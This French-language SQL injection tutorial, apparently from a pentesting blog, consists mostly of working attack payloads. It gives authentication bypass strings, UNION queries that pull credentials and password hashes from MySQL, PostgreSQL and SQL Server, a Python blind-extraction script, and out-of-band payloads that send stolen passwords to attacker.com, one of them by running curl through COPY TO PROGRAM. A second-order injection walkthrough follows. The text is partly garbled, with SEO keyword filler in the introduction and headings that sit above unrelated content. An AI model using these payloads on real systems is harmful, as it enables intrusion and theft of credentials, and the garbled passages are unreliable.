Injection SQL Avancée : De la Détection à l'Exploitation

2.1 Rappel des principes fondamentaux

Une injection SQL se produit lorsqu'une entrée utilisateur non assainie est insérée directement dans une requête SQL. Le principe fondamental repose sur la rupture du contexte syntaxique : l'attaquant injecte des caractères spéciaux (guillemets, tirets, points-virgules) qui modifient la structure logique de la requête. Prenons un exemple classique d'authentification vulnérable : Guide complet de l'injection SQL avancée : Union-based, Blind, Time-based, Out-of-Band, Second-Order, bypass WAF, SQLMap avancé et contre-mesures. Les techniques offensives évoluent rapidement : injection sql avancee détection exploitation fait partie des compétences essentielles que tout pentester et red teamer doit maîtriser pour mener des missions réalistes. conclusion : l'injection sql en perspective.

-- Requête vulnérable (PHP)
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "'";

-- Payload d'authentification bypass
' OR '1'='1' --
' OR '1'='1' /*
' OR 1=1 #
admin'--

Au-delà de ce cas trivial, la compréhension des différents contextes d'injection est essentielle pour un pentesteur efficace. Les injections ne se limitent pas aux clauses WHERE : elles peuvent se produire dans de nombreux points de la syntaxe SQL.

2.2 Contextes d'injection multiples

2.3 Différences syntaxiques entre SGBD

Chaque système de gestion de base de données possède ses spécificités syntaxiques que le pentesteur doit maîtriser. Ces différences impactent directement les payloads utilisables et les techniques d'exploitation. Voici les particularités essentielles des cinq SGBD les plus rencontrés en audit :

L'identification du SGBD cible constitue l'une des premières étapes d'exploitation. On peut l'identifier via les messages d'erreur, les fonctions spécifiques (un @@version qui fonctionne indique MySQL ou MSSQL), ou via des comportements différenciés (le commentaire # n'est valide que sous MySQL). Pour approfondir les techniques d'attaques sur différents types de bases de données, consultez notre article sur les attaques de bases de données SQL, NoSQL et GraphQL.

L'extraction suit une méthodologie structurée : identifier le SGBD, lister les bases de données, les tables, les colonnes, puis extraire les données sensibles. Voici le processus complet pour chaque SGBD majeur :

MySQL - Exploitation via information_schema

-- 1. Identifier la version et l'utilisateur courant
' UNION SELECT NULL,@@version, user(), database()--

-- 2. Lister toutes les bases de données
' UNION SELECT NULL,GROUP_CONCAT(schema_name SEPARATOR 0x0a),NULL,NULL 
 FROM information_schema.schemata--

-- 3. Lister les tables d'une base spécifique
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR 0x0a),NULL,NULL 
 FROM information_schema.tables 
 WHERE table_schema='target_db'--

-- 4. Lister les colonnes d'une table
' UNION SELECT NULL,GROUP_CONCAT(column_name SEPARATOR 0x0a),NULL,NULL 
 FROM information_schema.columns 
 WHERE table_name='users' AND table_schema='target_db'--

-- 5. Extraire les credentials
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a, password SEPARATOR 0x0a),NULL,NULL 
 FROM target_db.users--

-- 6. Lire des fichiers sur le serveur (si FILE privilege)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL--

PostgreSQL - Exploitation

-- 1. Version et utilisateur
' UNION SELECT NULL, version(), current_user,NULL--

-- 2. Lister les bases
' UNION SELECT NULL, datname,NULL,NULL FROM pg_database--

-- 3. Lister les tables
' UNION SELECT NULL, table_name,NULL,NULL 
 FROM information_schema.tables 
 WHERE table_schema='public'--

-- 4. Extraire les données
' UNION SELECT NULL, string_agg(username||':'||password, chr(10)),NULL,NULL 
 FROM users--

-- 5. Lire des fichiers (superuser requis)
' UNION SELECT NULL, pg_read_file('/etc/passwd'),NULL,NULL--

Microsoft SQL Server - Exploitation

-- 1. Version et utilisateur
' UNION SELECT NULL,@@version,SYSTEM_USER,NULL--

-- 2. Lister les bases
' UNION SELECT NULL, name,NULL,NULL FROM master..sysdatabases--

-- 3. Lister les tables
' UNION SELECT NULL, name,NULL,NULL FROM target_db..sysobjects WHERE xtype='U'--

-- 4. Lister les colonnes
' UNION SELECT NULL, name,NULL,NULL FROM syscolumns 
 WHERE id=(SELECT id FROM sysobjects WHERE name='users')--

-- 5. Extraire les hash de mots de passe (si sysadmin)
' UNION SELECT NULL, name+':'+CONVERT(VARCHAR, password_hash,1),NULL,NULL 
 FROM sys.sql_logins--

La technique Union-based reste la plus efficace pour l'extraction de grands volumes de données, car chaque requête peut retourner plusieurs lignes. Cependant, elle nécessite que le résultat de la requête soit reflété dans la réponse HTTP, ce qui n'est pas toujours le cas. Lorsque les données ne sont pas directement visibles, il faut recourir aux techniques d'injection aveugle (blind).

Vos équipes savent-elles réagir face à une intrusion en cours ?

-- MySQL : SLEEP()
' AND IF(1=1, SLEEP(5), 0)-- -- Délai de 5s si VRAI
' AND IF(ASCII(SUBSTRING(database(),1,1))>96, SLEEP(5), 0)--

-- PostgreSQL : pg_sleep()
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
' AND (SELECT CASE WHEN ASCII(SUBSTRING(current_user,1,1))>96 
 THEN pg_sleep(5) ELSE pg_sleep(0) END)='1'--

-- MSSQL : WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))>96) WAITFOR DELAY '0:0:5'--

-- Oracle : DBMS_PIPE.RECEIVE_MESSAGE
' AND 1=(CASE WHEN (1=1) THEN 
 DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)--

-- MySQL alternative : BENCHMARK()
' AND IF(1=1, BENCHMARK(10000000, SHA1('test')), 0)--

4.3 Automatisation avec Python

L'extraction manuelle caractère par caractère est extrêmement fastidieuse. En pratique, on automatise le processus avec des scripts Python. Voici un script illustrant l'extraction Boolean-based avec recherche binaire :

import requests
import string
import sys

URL = "http://target.com/search"
TRUE_INDICATOR = "résultats trouvés" # Texte présent quand condition VRAIE

def check_condition(payload):
 """Teste si la condition SQL injectée est VRAIE."""
 params = {"q": f"test' AND {payload}-- -"}
 resp = requests.get(URL, params=params, timeout=10)
 return TRUE_INDICATOR in resp.text

def extract_char(query, position):
 """Extrait un caractère par recherche binaire (7 requêtes max)."""
 low, high = 32, 126
 while low < high:
 mid = (low + high) // 2
 payload = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
 if check_condition(payload):
 low = mid + 1
 else:
 high = mid
 return chr(low) if low > 32 else None

def extract_string(query, max_length=100):
 """Extrait une chaîne complète."""
 result = ""
 for i in range(1, max_length + 1):
 char = extract_char(query, i)
 if char is None:
 break
 result += char
 sys.stdout.write(f"\r[*] Extraction: {result}")
 sys.stdout.flush()
 print()
 return result

# Exemple d'utilisation
db_name = extract_string("SELECT database()")
print(f"[+] Base de données: {db_name}")

tables = extract_string(
 "SELECT GROUP_CONCAT(table_name) "
 "FROM information_schema.tables "
 "WHERE table_schema=database()"
)
print(f"[+] Tables: {tables}")

4.4 Benchmark : performance des techniques blind

Le nombre de requêtes nécessaires est un facteur critique en blind SQLi, notamment pour rester sous le radar des systèmes de détection. Voici un comparatif des performances selon les techniques :

-- MSSQL : xp_dirtree (DNS exfiltration)
'; DECLARE @data VARCHAR(1024);
 SELECT @data = (SELECT TOP 1 username+':'+password FROM users);
 EXEC master..xp_dirtree '\\' + @data + '.attacker.com\share'--

-- MSSQL : xp_fileexist
'; EXEC xp_fileexist '\\data.attacker.com\share'--

-- MySQL : LOAD_FILE + DNS (Windows uniquement)
' UNION SELECT LOAD_FILE(CONCAT('\\\\', 
 (SELECT password FROM users WHERE username='admin'),
 '.attacker.com\\share'))--

-- MySQL : INTO OUTFILE + HTTP (via webhooks)
' UNION SELECT username, password INTO OUTFILE '/var/www/html/dump.txt' 
 FROM users--

-- Oracle : UTL_HTTP.REQUEST
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||
 (SELECT username||':'||password FROM users WHERE ROWNUM=1)) 
 FROM DUAL--

-- Oracle : UTL_INADDR.GET_HOST_ADDRESS (DNS)
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS(
 (SELECT username FROM users WHERE ROWNUM=1)||'.attacker.com') 
 FROM DUAL--

-- PostgreSQL : dblink (si extension installée)
' UNION SELECT dblink_connect('host=attacker.com dbname='||
 (SELECT current_user)||' user=x password=x')--

-- PostgreSQL : COPY TO PROGRAM (superuser)
'; COPY (SELECT username||':'||password FROM users) 
 TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat)'--

5.3 Second-Order Injection

L'injection de second ordre est particulièrement insidieuse et souvent négligée par les outils d'analyse automatisée. Le principe : le payload malveillant est stocké en base de données lors d'une première interaction (par exemple, lors de l'inscription), puis déclenché lors d'une seconde opération qui utilise cette donnée stockée sans la re-valider. C'est un vecteur fréquent dans les applications qui utilisent des CMS comme WordPress avec des plugins mal sécurisés.

-- Étape 1 : Inscription avec payload dans le nom d'utilisateur
Username: admin'--
Password: anything
Email: [email protected]

-- Le nom est stocké proprement dans la base (échappé à l'INSERT)
INSERT INTO users (username, password, email) 
VALUES ('admin''--', 'hashed_pwd', '[email protected]')

-- Étape 2 : Fonctionnalité "changer de mot de passe"
-- Le backend récupère le username depuis la base et l'utilise
-- dans une nouvelle requête SANS l'échapper :
UPDATE users SET password='new_hash' 
WHERE username='admin'--' 
-- Résultat : le mot de passe de 'admin' est modifié !

-- Autre exemple : profil utilisateur affiché
SELECT * FROM profiles WHERE username='admin'--'
-- Affiche le profil de l'admin au lieu de l'attaquant